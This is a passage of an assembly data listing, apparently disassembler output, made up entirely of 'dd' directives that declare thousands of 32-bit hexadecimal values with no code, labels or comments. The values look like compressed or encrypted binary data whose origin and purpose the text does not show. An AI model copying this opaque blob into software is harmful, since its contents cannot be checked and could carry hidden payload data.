		dd 0F684A911h, 0FB84526h, 7BCEFFC3h, 464A581Ch,	0D75B3B51h
		dd 995B8449h, 948BF377h, 6271BD79h, 9702DD92h, 177030A2h
		dd 94FA164Ah, 0EFCABD35h, 4366163Ch, 0B0EB2E7Eh, 33568876h
		dd 1B3A08B7h, 0A7F3C93Ah, 0BB96C94Dh, 0D7617250h, 0A3488D44h
		dd 9F097CB8h, 0D64715EDh, 3E32B3FBh, 0C512ABABh, 4CB789E0h
		dd 0B16BEDABh, 0F462119Dh, 0BD0A29A8h, 70DD8801h, 969285EAh
		dd 0CFE728DFh, 475AAD34h, 8E499DAAh, 9C76AB70h,	0B34AFC7Ch
		dd 0BA835E58h, 242EDD44h, 1E0232A4h, 0A9006AE5h, 0A053DDB8h
		dd 9BA121B8h, 1DD299EBh, 1E752227h, 0DC116095h,	663E60F1h
		dd 9DD222DCh, 265ADD24h, 73082564h, 0D15EE453h,	0E87F0D41h
		dd 0D9343229h, 854323B5h, 9703B4F8h, 0DB19FCA2h, 983100E2h
		dd 96162401h, 86CEBC37h, 0E9C1FE3Fh, 0A6FF3609h, 0D6ACE1DDh
		dd 5708B632h, 700EADE9h, 6D84E09Dh, 0EDCAA06Eh,	109BBF5Bh
		dd 0AD2D2FB6h, 17BCEADCh, 8510C1A0h, 0F926C2B3h, 0D4F52F41h
		dd 0B40DE9h, 4D2725D3h,	1E3937FEh, 6B157482h, 18A6FCF3h
		dd 2A3F8A4h, 0EFC6F4A9h, 0F49F3F39h, 487A140Bh,	0E90CDD81h
		dd 4DAC5819h, 503A1B3Ah, 181CDDA3h, 6A36CACDh, 55F0337Fh
		dd 0ABD13F1Fh, 0DCE524C3h, 0ADB2FF92h, 0E28E369Ah, 74E11C4Eh
		dd 50FF84A9h, 6FF20E16h, 0A93901C4h, 53270D6h, 0E9A302FEh
		dd 0D4535D20h, 0D2F8F4E8h, 0AB9BB725h, 313D2Bh,	51D347AEh
		dd 1306D2A4h, 86490AADh, 0D689B7E8h, 79BA314Eh,	2C26F1C4h
		dd 5A7A265Bh, 0E209E542h, 9CD0583Bh, 4C6D16AEh,	0ED76330h
		dd 171A2EEEh, 9EC716BDh, 1C9AE4A4h, 0EC8247A2h,	55F94AA9h
		dd 0C313378h, 92D68C57h, 0A3F5DDE4h, 7882784Ah,	0BE825EB3h
		dd 37030C72h, 0FD381B66h, 430DBA1Dh, 0F24178C5h, 0F2C2C0CDh
		dd 9CB9E7DAh, 42CEF841h, 219C223Dh, 0AF4E9462h,	0C39E963Ah
		dd 1CCCA420h, 423511E4h, 68C1A3BEh, 9F5969B9h, 0B3253433h
		dd 0CE199977h, 94386727h, 46FA4980h, 0A9445543h, 6292C6CEh
		dd 1ADA480Ch, 0F61047B8h, 0A92FAAAFh, 0C722323Bh, 459BC89Ch
		dd 0DF6FE810h, 286E84FCh, 22744147h, 0CBE23EF2h, 33D41571h
		dd 9C12CA4Ch, 0DDE51C6Ah, 25F6DE0Ah, 8E86611Dh,	0DC0EE7BBh
		dd 1D0CDC83h, 1F15A4EFh, 0BEAD92ABh, 5D02C458h,	6309E9A9h
		dd 3AD107FFh, 4A5AFE98h, 97A331DFh, 6F980ABEh, 41AB1E09h
		dd 0CCFF474Eh, 2CA2E247h, 7843C8A2h, 0A9D16FA9h, 0D2524F41h
		dd 23395FABh, 14140011h, 0FEF5E05Bh, 609E0574h,	0FAB46D9Fh
		dd 2931035Ah, 61238BC6h, 6407E3F2h, 1D27DCC5h, 80F6E5BAh
		dd 9C083378h, 71053CD6h, 0BE0878ACh, 83B9F0BBh,	118A5305h
		dd 0A9E9C8FEh, 0AC18CC59h, 0A3BF28C3h, 90313D2Eh, 30F1292Fh
		dd 78350DE4h, 0EF1C065Eh, 96F239AFh, 836C35F2h,	0F2C4193Dh
		dd 431B2A34h, 0AE2D8562h, 0D2521AFh, 0DC44AA0Dh, 443E5641h
		dd 5A273340h, 0D90908C7h, 57AD0E79h, 4D59E3DDh,	52A06BC2h
		dd 0A9C51C60h, 0FA8222EFh, 0F35F94A1h, 0A9D51BDAh, 17081123h
		dd 3013B26Dh, 3FAF98B6h, 5D1A096Bh, 0A914F063h,	853A1A42h
		dd 512607B1h, 0B0445DD5h, 507F7144h, 0BF413A96h, 9ED0E795h
		dd 4E6D4A5Eh, 0BD3130ECh, 2D4ECA5Eh, 3FE3CB6h, 0C61A35B5h
		dd 0DCCE2A61h, 823BAE0Ah, 0FCB395Fh, 0D7F252A4h, 9EA3C42Fh
		dd 58A54921h, 49800439h, 0D46FE11Bh, 879870DFh,	0D681C970h
		dd 0A21C1377h, 0A590F893h, 0A2AD5A35h, 0BC29AB4Eh, 0B75A985Eh
		dd 0B0E223B1h, 5C2FED6Ch
		dd 43313111h, 0F8B2DC6Eh, 663625Fh, 767E644Bh, 0E4813C78h
		dd 0E53ABB66h, 0DB39CA59h, 7430ACBAh, 1BEF9E62h, 0AB771C9h
		dd 0E2D85134h, 0F125DEE3h, 9D6527FBh, 2A0DE5F3h, 6858070Eh
		dd 305B9FB8h, 1F4375C5h, 0E22DFD3Ah, 0ECBFE164h, 2601EE11h
		dd 1D7FF93Bh, 9E0D8106h, 9117D0B7h, 9E634F8Ch, 0EB18218Bh
		dd 63FC2E3Dh, 25155B10h, 3B124FDh, 0B2353643h, 0A760A2FBh
		dd 0E36239Ch, 119953BFh, 64FA038Ah, 0DDE5A6FFh,	7B3EFFB8h
		dd 71369803h, 143D9071h, 0F38FF20Fh, 912E4D63h,	0CF21EDFFh
		dd 0F0803A1Bh, 940A210h, 0A0BB009Ah, 0EDEA37Fh,	6C40F940h
		dd 0F2B015Ch, 0B839C59Ah, 0A56008A0h, 66223421h, 652D1668h
		dd 0AA855210h, 0E8E4C30Ah, 0EB6EAEh, 620830B1h,	0B3BB12B5h
		dd 88CE3344h, 0F3D91A7Dh, 3E48C752h, 233BBF0Fh,	4D6EFF4Eh
		dd 19EB96FDh, 63CABBCh,	0A4125224h, 0DCC1BFFFh,	0E2BDAD87h
		dd 1C4CEE59h, 46805E47h, 0A236AB24h, 0E0A86E5Fh, 724F6311h
		dd 0AFF6662Fh, 4CBEABB7h, 457140A1h, 0C6101F71h, 6A38DABBh
		dd 6FCFC6BEh, 206F90ADh, 6D2D8D7Bh, 0ECA19570h,	9236D648h
		dd 72C47562h, 0A14123B6h, 0DCF5291Bh, 4BEBE799h, 25333645h
		dd 0DC053EB8h, 1D022D3Bh, 9E67B085h, 0ED59EFA2h, 660C156Ah
		dd 8955F1FCh, 24096DCFh, 0AA3EDC5Ah, 5F6813BBh,	9EDB35E4h
		dd 964B3A55h, 3B39E074h, 1DD2E47Dh, 2737EEC1h, 7613BADEh
		dd 4B02717Fh, 7AC1769Ah, 0F81AFA8h, 0F2F95FA3h,	33CBCAD8h
		dd 1FF88C2Eh, 0D6A38465h, 67737C76h, 0EB4D2311h, 3A19051Dh
		dd 0B2921B63h, 72744EBAh, 0B62E5C8Eh, 0D93201B6h, 0CC70567Dh
		dd 45560278h, 0A35231B0h, 9EFDACA4h, 7922FE55h,	7F53E46Ch
		dd 0ABDBDDA3h, 0DD06C452h, 55362724h, 9BE6ECBCh, 0A207A9A1h
		dd 0B7BAEE20h, 561A21A1h, 9146A5C4h, 4AA24F26h,	702FDEB8h
		dd 5656D038h, 0ADD05146h, 1FAD2F30h, 42805722h,	0D21A150h
		dd 6CDAC798h, 4A23BC6Dh, 780C0B4Fh, 0AB3AEDE0h,	4F2BED69h
		dd 0FE97F25h, 0BCC983B5h, 2EA935FDh, 6E336FFCh,	71D18A6Ah
		dd 88F2FEB8h, 9257F69Ah, 2AEC732h, 0FAD5699Bh, 83A5B42Bh
		dd 6A31E328h, 2D1C2689h, 465EE849h, 6A63A658h, 89152867h
		dd 26612F78h, 7E3AD995h, 0AD634107h, 659DC454h,	575B71FDh
		dd 2F6DA7C3h, 3AA00D93h, 1AE4890Dh, 1582C9BFh, 17B7B9A8h
		dd 40A71EA0h, 8AD43F70h, 396A0C9Eh, 0AADF6209h,	0B0F1C355h
		dd 0BE33AB0Fh, 3D0B3A3h, 4E43D0F4h, 9244F610h, 3B311CF6h
		dd 0EA0AECBEh, 84113C90h, 3B3C5CBAh, 0F4228BAh,	79ACD190h
		dd 0ABC20EEBh, 272AC195h, 0B145A768h, 42C02304h, 0E820E05Dh
		dd 57651981h, 5BAB6D10h, 0F72ACDA2h, 0DBB7D11Fh, 0F9BF0287h
		dd 0DBE2909Ah, 8380AB1Ah, 0A785D962h, 0B645EE38h, 0A87D5DCBh
		dd 0AE9058B0h, 42489BB9h, 79EA4D4Bh, 7A8C21D9h,	0C706030Ch
		dd 565243ACh, 8EC99C4Fh, 0BDB1DED6h, 904949D5h,	5C482606h
		dd 1A23D3CBh, 0F08792Ah, 0EE1E3A77h, 2B495F21h,	628A493Bh
		dd 0C2FDDDh, 0DE0160AAh, 94732B9Ah, 0F891535Fh,	0BDCE9423h
		dd 0D83896C1h, 0A2E2ABA6h, 83B8CC11h, 0A4736F55h, 9503A3AFh
		dd 623E76BFh, 0B559E6A2h, 0DD155825h, 763B02B6h, 483B16B1h
		dd 2AE2A10h, 56B62F0Eh,	6733207Dh, 982048B9h, 0EC0B71F6h
		dd 44DAA312h, 0DAD7178Eh, 56480A46h, 54D8BFA7h,	0AB64E07Ah
		dd 4FAE49Dh, 0BF7EF8DCh, 0B2A154BEh, 0ABF7A361h, 4C7BADB5h
		dd 96C60D44h, 55F6DE24h, 2FAD3AAh, 0E105ECB6h, 618E4EB1h
		dd 17CAA95Eh, 5EE36C4Dh, 0DC715A5Ah, 78F4EB12h,	82EDA31Eh
		dd 0FB92EE8Eh, 3A86E741h, 0BB2EEF53h, 67800A4Eh, 43DD1943h
		dd 22F901EEh, 2F47974Dh, 4A8AEA2Fh, 0E88EE474h,	4003B432h
		dd 83C23D13h, 1C163563h, 3A43ADA0h, 4656D24Dh, 0DEB81EFDh
		dd 663EE4Bh, 6B44E086h,	92037642h, 3E2A478h, 27C5C4AAh
		dd 9F0C4BB3h, 0CBEF35D2h, 683312A1h, 0FDCD2D5Dh, 0A8FD377Dh
		dd 0F0BBE1A4h, 8239BDADh, 0B2EC1D93h, 2E2CDD7Fh, 0BACF0C49h
		dd 0FEC2C4Dh, 41C50D8Ch, 0E2CF8C2Ch, 19C61AF0h,	553FABDh
		dd 3F004A58h, 9EFD5A72h, 572A69BDh, 0FCA5F3B9h,	344BDC82h
		dd 2725A8A3h, 0A5C3E32Eh, 5D6407ACh, 53E930E2h,	4666CFCFh
		dd 9FDD46D4h, 85FF07C5h, 95C53AF5h, 84AED458h, 0B32ED4BDh
		dd 0D0183AA0h, 0D91C104Fh, 0A90A74ABh, 4E597B39h, 6997ADEDh
		dd 292102BCh, 53D8F52Bh, 0DECFA40Ch, 82D11107h,	0A4D2A419h
		dd 0DA132384h, 0D2CD1AA0h, 0C3EA49ADh, 0B93D2EB2h, 545333CDh
		dd 0B1CE2FFFh, 0C3304B72h, 943C2D45h, 9BE72ED8h, 0E203397Fh
		dd 0B55B7BA6h, 0C34167B5h, 0D7203207h, 8DF88FC5h, 52A5FA54h
		dd 0DF56BFB7h, 83286A68h, 862E4355h, 70EC2A53h,	121D11h
		dd 0E121F93Ah, 0BEF8FE35h, 703D2DE2h, 0DA50947Fh, 27081E5Dh
		dd 0FC0CD256h, 0A9570A0Eh, 0A44E4837h, 1E30A98Dh, 11785872h
		dd 2EED2C43h, 0C93429B9h, 8B112249h, 7348F53Ch,	0B2BB2FE0h
		dd 47DE4856h, 3A4C197Bh, 0A6EF6187h, 0EC3A60AFh, 95DB7C65h
		dd 2C49113Dh, 68583523h, 0D2E22D5Bh, 0B6CFA67Ah, 5C423DC8h
		dd 9D63A267h, 17C22F65h, 1A431D8Dh, 0F212522Eh,	53190610h
		dd 41CCED60h, 9B8D61AFh, 0DEF42CFEh, 0F2089E3h,	864542EDh
		dd 1A8E301Fh, 0F44F2E05h, 5C4D684Ah, 0CDBB6EA2h, 143F9A5Dh
		dd 7B40D4ACh, 93521D35h, 0EF6A5E51h, 0FA1AB607h, 9C2588CAh
		dd 0BDAD198Fh, 0B943F41Bh, 0C5CC4CD3h, 2FE1ED1Ch, 0A4A3ABE0h
		dd 0D8F87B56h, 2333CD0Ah, 9A4A3DB4h, 4586C200h,	4919C2F8h
		dd 4205FEC0h, 52E48ADEh, 8AAD50h, 3DFC7D4Fh, 737C0172h
		dd 0F8F0108h, 2212DB34h, 0AF456822h, 0D7039793h, 37B8F7B1h
		dd 612E2455h, 0EF92E6Dh, 7840B5A7h, 0E3E400A9h,	0A49C111Dh
		dd 0FD35A22Ah, 0E6BF45Fh, 648E5EA8h, 0E64EEA09h, 35227BBAh
		dd 60B88F92h, 0E327AA35h, 11F6EE6Bh, 0FCFBA6A1h, 26722CAEh
		dd 47E4FAE4h, 9D841464h, 27D84BBDh, 0D8969DC1h,	0BFB88333h
		dd 6163D50Eh, 630801B6h, 0BE6B4572h, 0A81238B3h, 0E4CBE7B7h
		dd 98E4FC48h, 973B29CCh, 0C34122A8h, 7A3908F8h,	0ABBB3821h
		dd 7E3FBFB1h, 4CFC3E3Dh, 48805702h, 0B31DDD14h,	453B20E0h
		dd 0FBABCAB4h, 6A191D04h, 0DF920E5Eh, 0F1AB39B3h, 0A3CBD3FEh
		dd 1D3BCF31h, 1F40EEFFh, 6D33342Fh, 273C293Dh, 0F4E92663h
		dd 7EB75697h, 0EE2ECEB7h, 0A66D1464h, 0F016E2A7h, 9DA9AFC5h
		dd 5C38A8B2h, 0EB8A786Dh, 6C4C6821h, 0F3A32C1h,	9B6D2A98h
		dd 0FD836258h, 0ACECD7B5h, 518428A0h, 92348C3h,	0E35522FAh
		dd 8B1BA2ACh, 0E9258AA6h, 0DCC06FC7h, 2D63A1A1h, 0BF8CE0D9h
		dd 3E719279h, 0A35D27BEh, 12B74FDFh, 257EC425h,	2545037Ch
		dd 0F20A2563h, 52B31F11h, 0F6F3562Dh, 8106F1F6h, 0AADE49E4h
		dd 0F6FD3C5Eh, 0EE362F34h, 0B3E6BF9Ah, 3B447CD3h, 97FF2E15h
		dd 4B172544h, 0B312D85h, 8A06DCEDh, 0F37F18A3h,	12BD2B57h
		dd 0ACE3CE5Fh, 0B7B88540h, 5B359086h, 452BAAA3h, 8141A1B4h
		dd 75F4BD91h, 0ED731FDFh, 25215163h, 0EBA53A35h, 2CA1E185h
		dd 9BF9A99Fh, 7D4079F9h, 5C5BAA63h, 4362C26Eh, 9AE28Dh
		dd 76DA931Dh, 0E42370B4h, 0DB0F69B4h, 26CB28CFh, 14ADDDFFh
		dd 0E036C7CAh, 72A58D65h, 8E65073Bh, 793DA0DAh,	0E903F3Bh
		dd 41B26B2Dh, 2074025Dh, 0FE7323A3h, 5A3FED38h,	2AFF391Fh
		dd 0FFCE15E1h, 1F8EE591h
		dd 0B05561B7h, 1721AB5h, 0D9F3CB83h, 75E2E575h,	0DC617273h
		dd 24402397h, 1F651C79h, 0BF3DA664h, 850056B9h,	0F4D6AAAFh
		dd 0C5273E61h, 64ECC041h, 7462720Dh, 5CCF405Fh,	9681A143h
		dd 0C405BD0h, 8FE4635Ah, 5FBBC740h, 1E80020Fh, 2C3242FAh
		dd 0AE604E21h, 2E6949CFh, 6978363Eh, 0AE5D324Fh, 1E357A50h
		dd 7161284h, 0B099B295h, 0C85C7429h, 6DACB8D5h,	0DDD91700h
		dd 0C179183Ah, 0B64417CDh, 61DE6E44h, 0B0210643h, 0F2D2B03h
		dd 0FAF5C3F6h, 69035622h, 9D3884BDh, 0D83EE1ECh, 0A3CFF977h
		dd 68E352E9h, 6D22059Ah, 4DCEE674h, 0CAFA1201h,	0F3F66513h
		dd 18794455h, 61361FF3h, 9FF76066h, 8451DC7Ch, 4E55C1B6h
		dd 0D17F7CA3h, 0EABD0A83h, 4572EDAFh, 0DD79CFD2h, 2011B5Ah
		dd 3B73120Ch, 6DEDAEB8h, 0B5FF36A3h, 786FD273h,	1119E844h
		dd 0F2820C6Bh, 75CC8F82h, 82BFC2B5h, 48030336h,	6F7531E1h
		dd 0EC90E833h, 7B1C77D4h, 679A71B3h, 0D4CC2747h, 1C355EA3h
		dd 9EF1202Dh, 8BEE3D74h, 94768394h, 43D315BDh, 0BE439989h
		dd 5C785930h, 0D4022E56h, 83C02EA2h, 0C536D0A1h, 0E37C4685h
		dd 0AABE0355h, 0A2B637E3h, 0ABB52FFAh, 0BABBB526h, 0A3F92ACCh
		dd 0EB203115h, 0F734BC3Bh, 0C443EF21h, 9C0C43D8h, 0CF7D33D6h
		dd 787C3CFFh, 27E07544h, 2516BD7Ch, 3A279D5Fh, 1F9F2992h
		dd 261EB131h, 3BFDEC7Fh, 5AF4B54Bh, 0F6355652h,	5F712843h
		dd 0D6BB6DF9h, 0C61E92B3h, 2834E071h, 29B4A881h, 0B25D30CCh
		dd 0F56B07Dh, 622D513Ch, 23CE5D34h, 2BFD3EADh, 270BDDA9h
		dd 3175FAA1h, 0AF4AA97Ch, 8BFA51BBh, 0B63B6EB5h, 8FEB1134h
		dd 2B4DD1DEh, 0A6BD87C1h, 0AC235B42h, 0A8978DC3h, 46B92ADBh
		dd 4BCEB44Dh, 830BA5F5h, 0BE23A15Eh, 214634E3h,	0BC532581h
		dd 913B7535h, 5ADF0E8Ch, 2AD851EBh, 452A5874h, 0E5AD0021h
		dd 3476B13Dh, 2C7D38DDh, 0F6DE56BCh, 0FA09ACA2h, 0CE78F79Bh
		dd 0D032FE76h, 0BAB4B9AFh, 882B8DDEh, 182157BFh, 818B55Ch
		dd 658F0931h, 882C95DEh, 2C95F375h, 6C44ECB3h, 5EA1C5F0h
		dd 0A3F93653h, 62E90D71h, 0BCD6B001h, 6CBDEC11h, 3317051Dh
		dd 622C3EB4h, 23D13D34h, 2BFD3FB5h, 0A2BBD2B9h,	9EB3E94Eh
		dd 0E4AAB211h, 0A7A26F45h, 0D23B8901h, 269F4307h, 0D0B899C5h
		dd 0AAB8A9C7h, 0AEBDADE9h, 19DB995Ah, 14ECADCCh, 84CC8883h
		dd 0EB92FA50h, 9DF3B5CAh, 73070C88h, 0A8A780F1h, 0BFDCAFE7h
		dd 5B38A695h, 0CD92CB68h, 82EE2810h, 0A644F16Fh, 0E17A703h
		dd 0B49C1B2Bh, 3521B87Ch, 9CB4F208h, 8239CB64h,	33C5E85Fh
		dd 1C18D6A2h, 64A9E34Bh, 0A9E04F36h, 0AE3F4541h, 43239F5Fh
		dd 4B0C0651h, 58580156h, 0E0F58F9Dh, 474AC472h,	1C57459Fh
		dd 39624606h, 1BB53710h, 1B4A6EA3h, 0BA815F43h,	0B4735410h
		dd 82325166h, 86D08BBEh, 0ADB48399h, 2EE0DDB5h,	6A2A8216h
		dd 0DD0827FDh, 0DE607BB0h, 0BD02993Dh, 85805DF2h, 0F065A2AAh
		dd 3D313A46h, 0B82332E5h, 0BA0809FDh, 1676ED4Ch, 0EA31033Ah
		dd 3D1A0202h, 0F29874F1h, 8E3D6D29h, 98C778CAh,	0BC34447Ah
		dd 8A76A1C1h, 9946D795h, 4E654F18h, 98365D28h, 705F0F2Fh
		dd 0C6FC597Dh, 6021ADFDh, 69587275h, 82392368h,	0BB26EE85h
		dd 5DECF6A9h, 68E536B9h, 69006599h, 0DBBD35DDh,	897AC7Eh
		dd 16FFF915h, 8B6E616Ch, 0CE275D01h, 2F41EE82h,	3C3AF3C2h
		dd 7D06A742h, 0B03A69A9h, 927341A6h, 728529E3h,	9EBC3B0Ch
		dd 0A12B0541h, 7EEC30EDh, 26138074h, 287D593Fh,	0A03D1F6h
		dd 0EDA8861Bh, 3C1A71F3h, 2B76EAC7h, 8B47C365h,	5C727678h
		dd 0D2AB14B1h, 0EEC582E2h, 7728D2DBh, 9E2A3974h, 28F225C4h
		dd 0F4F26152h, 7C5A9A3h, 6E3E2BEFh, 5822EFE7h, 0C6DC3D18h
		dd 985FBB8Ah, 0BE6F82D2h, 0C774CCFFh, 8EB88FD0h, 8AB8A150h
		dd 5B72E6B0h, 350E78E9h, 3056805Dh, 9F440F64h, 4AA0401Fh
		dd 828DF04Dh, 1385FADBh, 0C0B1D66h, 0B5FC60ADh,	0F79F251Ah
		dd 0D3D2E364h, 0EB3A88ADh, 1E123051h, 0A637F224h, 0C9981D2Ch
		dd 0F56A5340h, 0FC54D581h, 5BA7391Bh, 1C613519h, 0A35D2349h
		dd 9356BED6h, 0A44E754Ch, 2346A8ADh, 35825106h,	7AA0F3Ch
		dd 0BAA4EBADh, 7C394E8Dh, 66437561h, 0AD64BC3Fh, 0EEB42DDEh
		dd 0BBF2FB47h, 0AD84FD10h, 854DFD11h, 9976BD01h, 0B24BEBC0h
		dd 726E6543h, 85E17944h, 2BE6A4BCh, 0C676ECF8h,	7AEE103Bh
		dd 1E066526h, 3B544122h, 49A6364Eh, 71E88A3h, 72FCCB48h
		dd 0EA38F49Ah, 0AE185542h, 7032E3BFh, 9D2DC8A5h, 0B5F0A783h
		dd 120D022Fh, 0A5CE3E41h, 0E8FA45C3h, 0A1005440h, 0B6CF127Fh
		dd 9022CA68h, 96A4391Ah, 401B4860h, 0D4868E0Bh,	5ECD92E7h
		dd 0E0AB3306h, 6322663Ch, 7AC01829h, 823FD9A7h,	3F9AFBFEh
		dd 68423178h, 538F2D38h, 0B41AA279h, 553FC705h,	18CE297Dh
		dd 623906C4h, 3EABF4AFh, 6226CA51h, 9A1E6B8Bh, 602EF4E0h
		dd 0A613CB3Ch, 55422113h, 9ECC357Eh, 10DE519Bh,	23E9A635h
		dd 0BBF511Ch, 5653020Fh, 37CB176h, 5BE470ADh, 5A371C3Dh
		dd 5CABC4C9h, 7E95E641h, 6EAFB1D5h, 0D08A27BFh,	3F35EC87h
		dd 6A0CCAB7h, 0D2F82313h, 19818778h, 6ABC0EE6h,	0A0DA271Bh
		dd 7EEAA3F3h, 0A817D5ABh, 41FE33Ch, 722B2950h, 0C32BA905h
		dd 8A14DD3Ch, 436A4218h, 10112238h, 2390353Ah, 63609D65h
		dd 63C911F6h, 0AC2121A1h, 2A7F201Dh, 5B46B857h,	6F45D639h
		dd 0DD344BB3h, 0AD3FB601h, 27FFED92h, 0E02C3D5Bh, 1B3E3444h
		dd 32E2D2Ch, 94F20913h,	53CCF312h, 215AD1C6h, 0F3B9A2C9h
		dd 64C575EAh, 33A2BAAh,	0D6F957B4h, 9D3E9BBFh, 75EA351Ah
		dd 8AD4E0E3h, 33F5AD66h, 359F4775h, 9CDFB9h, 27DE3F19h
		dd 0A09AF6BCh, 0BF6108E1h, 6356F1AEh, 7B637D62h, 60ED35F2h
		dd 0DF66E6F1h, 36397515h, 13B866BCh, 6223DD75h,	6221DDF1h
		dd 5A2BF3F1h, 4635B866h, 0B63302BCh, 0A6FD3D41h, 962F2D34h
		dd 96F2ABF2h, 5D6EE37Dh, 0A3E51394h, 6DC50D19h,	0FA96F18Bh
		dd 2B757C63h, 5E5A9514h, 0EFFEA7F1h, 0B22B75ADh, 449E6B2h
		dd 5E629975h, 616289F0h, 763688F0h, 36357531h, 0C6BB82BCh
		dd 0D61E92B3h, 0F1B36D7Dh, 0CFF50A76h, 0A876011Eh, 0A23A31AAh
		dd 3829038Fh, 0EBFBFE75h, 0A47B0CA5h, 6BE44C4Eh, 0F5ECE7E6h
		dd 0FA458B3Ch, 0B0630CCAh, 0E0962A47h, 40535BF0h, 4E03535Ah
		dd 0DE4756Ah, 82F31B49h, 0DB5FE6AEh, 4813E9E1h,	0F3054090h
		dd 332DBB9h, 0EE19B756h, 9FA0094Ch, 9D4B61A4h, 23BD3538h
		dd 0B0D9EF7Ch, 1E602C0Bh, 63904A0h, 2B86EE4h, 747AE840h
		dd 0DDFD2B3Ch, 82873126h, 0E56E932Ch, 1A04F8CDh, 0B2DB3410h
		dd 0A3DF559Dh, 27138059h, 0A3FD0122h, 0F00083C2h, 0E2C0F7DCh
		dd 5ACDA21Fh, 0FD02290Bh, 780A31CCh, 0F3F416ADh, 4CA5A40Fh
		dd 4013A839h, 97584263h, 0D4523269h, 5D76A9FEh,	0DFE55160h
		dd 0B16E149Eh, 0B158DDCCh, 8F132C6Ah, 0B52046F8h, 0BC12E39Dh
		dd 222D5057h, 0FCFD0061h, 0AEBD0B35h, 42234134h, 0BAA22FBFh
		dd 60580FB6h, 969F7D0Ch, 1829D031h, 32304A7Bh, 3C74A5BBh
		dd 0F6392A4Ch, 32EB2DA3h, 6E406330h, 42730D90h,	0F3E1EA9h
		dd 5D366685h, 6AE422C0h, 0D7E4EFC2h, 0F6959A8Ch, 0A34C7066h
		dd 0D6C2AD93h, 6FF8019Dh, 0F257C773h, 9D54A30Bh, 0BACCF463h
		dd 0CA43990Fh, 9FB639A7h, 12C18429h, 0CB71F092h, 480910A6h
		dd 121468BAh, 0B81D4F2Fh
		dd 1B81197Eh, 56021593h, 1B7B6D4Bh, 0AB224059h,	217B2D47h
		dd 0F6CB3685h, 24730610h, 236C05E5h, 4E348FDAh,	244952EDh
		dd 4105238Eh, 0F24307B4h, 144045BCh, 34EE2C2Ah,	0B80AF3Eh
		dd 523361B0h, 0BC68DDE2h, 9A6A4DFEh, 71D133C6h,	0C1ED60CBh
		dd 9AFA2E7h, 0DDEB1EACh, 60642B66h, 683D5EA4h, 4DE61ED5h
		dd 232B5641h, 7165E575h, 0EC98495Bh, 5E81EDADh,	0B644120Ch
		dd 0C93BC24Bh, 0C2401129h, 0BE3DDD25h, 85FE07A9h, 0AAD853B1h
		dd 0C14429AAh, 7AA769AFh, 0CF2AEFA8h, 0F615BA74h, 0F3E6E883h
		dd 5EE73BDh, 63FE1928h,	75594F3Ah, 0B020AAB8h, 79DF833Bh
		dd 74822707h, 6605370Bh, 0A87ACABAh, 0BB8528AFh, 0DD635FA1h
		dd 0EAF146B5h, 0B8036BB9h, 0C6AECDACh, 0FBB428A2h, 51E973BFh
		dd 4A785630h, 0E5FACC2Fh, 332566Bh, 5F78DD86h, 0A1201AF8h
		dd 0A6F4ADE6h, 2B984024h, 481BDD04h, 7E206939h,	0D549656Ah
		dd 4626951h, 945D076Fh,	0C279E596h, 0F91804FEh,	649BD180h
		dd 0FCB987Fh, 0A5FA4533h, 4545D0B8h, 0D1CA22F9h, 25376E35h
		dd 0F0A1627Ah, 94195BBAh, 70560575h, 0DC41ED62h, 0BBA1D70h
		dd 33427F54h, 0AC09795Ah, 8704D3FEh, 0B75ACAB3h, 307DB10Fh
		dd 0BCE41DF3h, 0B7B0D2ECh, 3FFE32A0h, 0CC9CEA3Bh, 0C2B0A6D1h
		dd 0DDAFB70Bh, 77F2537Ah, 0ADA4576Fh, 0E277254Dh, 99CF8A5Ah
		dd 0AC964ED0h, 0EDADB2EFh, 0A08C91B6h, 0A5DFCA55h, 90278E61h
		dd 0D4431B32h, 5FC3F54Fh, 0E22EB1B8h, 0F659A926h, 0E6C42CC6h
		dd 0B2082068h, 0A52AC17Fh, 195A1FEDh, 0AA2A110Ch, 4E537E33h
		dd 0AB34353Bh, 25034AF2h, 36D45BFDh, 532E81E3h,	0F50848F4h
		dd 0F2424B6Ah, 8ECF69BAh, 251E52AEh, 0E919795h,	0AE0FE6FDh
		dd 0EB414CA4h, 29083713h, 0A93ADE74h, 10EA3EBEh, 34F4C9A4h
		dd 0DE9E6FF5h, 45C0D137h, 6B1AD64Bh, 4E578816h,	0B22F60B9h
		dd 0BCD5F19Ah, 0A236E2B5h, 0B47AB036h, 0AA39B1B1h, 2536D579h
		dd 10B0C4E1h, 4D86D2B4h, 18310D4Ah, 0D83FA8B4h,	1E74628Bh
		dd 0DC62BDEh, 62A62278h, 6ABEEF82h, 0F09EEEF5h,	7DEEF58Bh
		dd 0EBBA253h, 715F955Ch, 0B2220549h, 41F105E1h,	0AEB2A9DEh
		dd 0FF0831D3h, 4AF13B7Ch, 0FF597060h, 5E8A8F8Ch, 41B3508Ah
		dd 0B37D0535h, 0AA293D0Ch, 0E6F5F537h, 0ACB19263h, 3C4CD0E8h
		dd 9C03DC21h, 1CCF7AD4h, 0FD46C4E0h, 9CDA7BA7h,	0E2D19F5h
		dd 0CF46AB26h, 0A5C6C1B9h, 8E3F5F2Bh, 2225149Ch, 0F28E405h
		dd 25948B2h, 9B29FFE9h,	999A2372h, 1D6A1AE7h, 0EE93A06Ah
		dd 0D29B2D71h, 55252015h, 710ADDAAh, 0C6481A9h,	2D4B64A6h
		dd 751B13E6h, 0B5CEFC0Eh, 50F8B17h, 6B9D4EBCh, 96F08DB3h
		dd 667DD0E7h, 671B7F5Ah, 0F400494Bh, 0A22584CCh, 1679871Fh
		dd 4372DEEh, 0B68690A1h, 5F0D07ECh, 0C6B3375Dh,	43789E23h
		dd 2B39290Ch, 0F43ACC3Eh, 0B76DFA45h, 34DAFB1Ah, 3F50EB92h
		dd 0F1F42A8Eh, 4CCE8BA3h, 58F250DCh, 5434AB25h,	60F0DDB6h
		dd 85FAEE5Fh, 0B2723F6Eh, 604F706Dh, 9043F785h,	0AFAC4E0Eh
		dd 8B73BD6Ah, 8857498Eh, 14CFDC82h, 0F6517BCh, 8D19E00Fh
		dd 0A1D70DEh, 725C5ABCh, 0AAF7849Eh, 67295C4Fh,	840D6657h
		dd 1B4304D9h, 0A39199EDh, 5DE5614Ah, 97D8C06Ch,	0E22CAAE1h
		dd 0E42A1EB6h, 0B37A4E10h, 0FB675788h, 0AD3237CEh, 0F3A84C62h
		dd 553CE283h, 6377C8B2h, 0FAB26AD8h, 8CF81973h,	76260E28h
		dd 0A903E18Dh, 386B8B39h, 2A5EF8B3h, 0DA34ADC4h, 0AAAB4845h
		dd 0C5F0AD06h, 9AA769ADh, 17E4466Ah, 4FFD1840h,	0A5C4AD4Dh
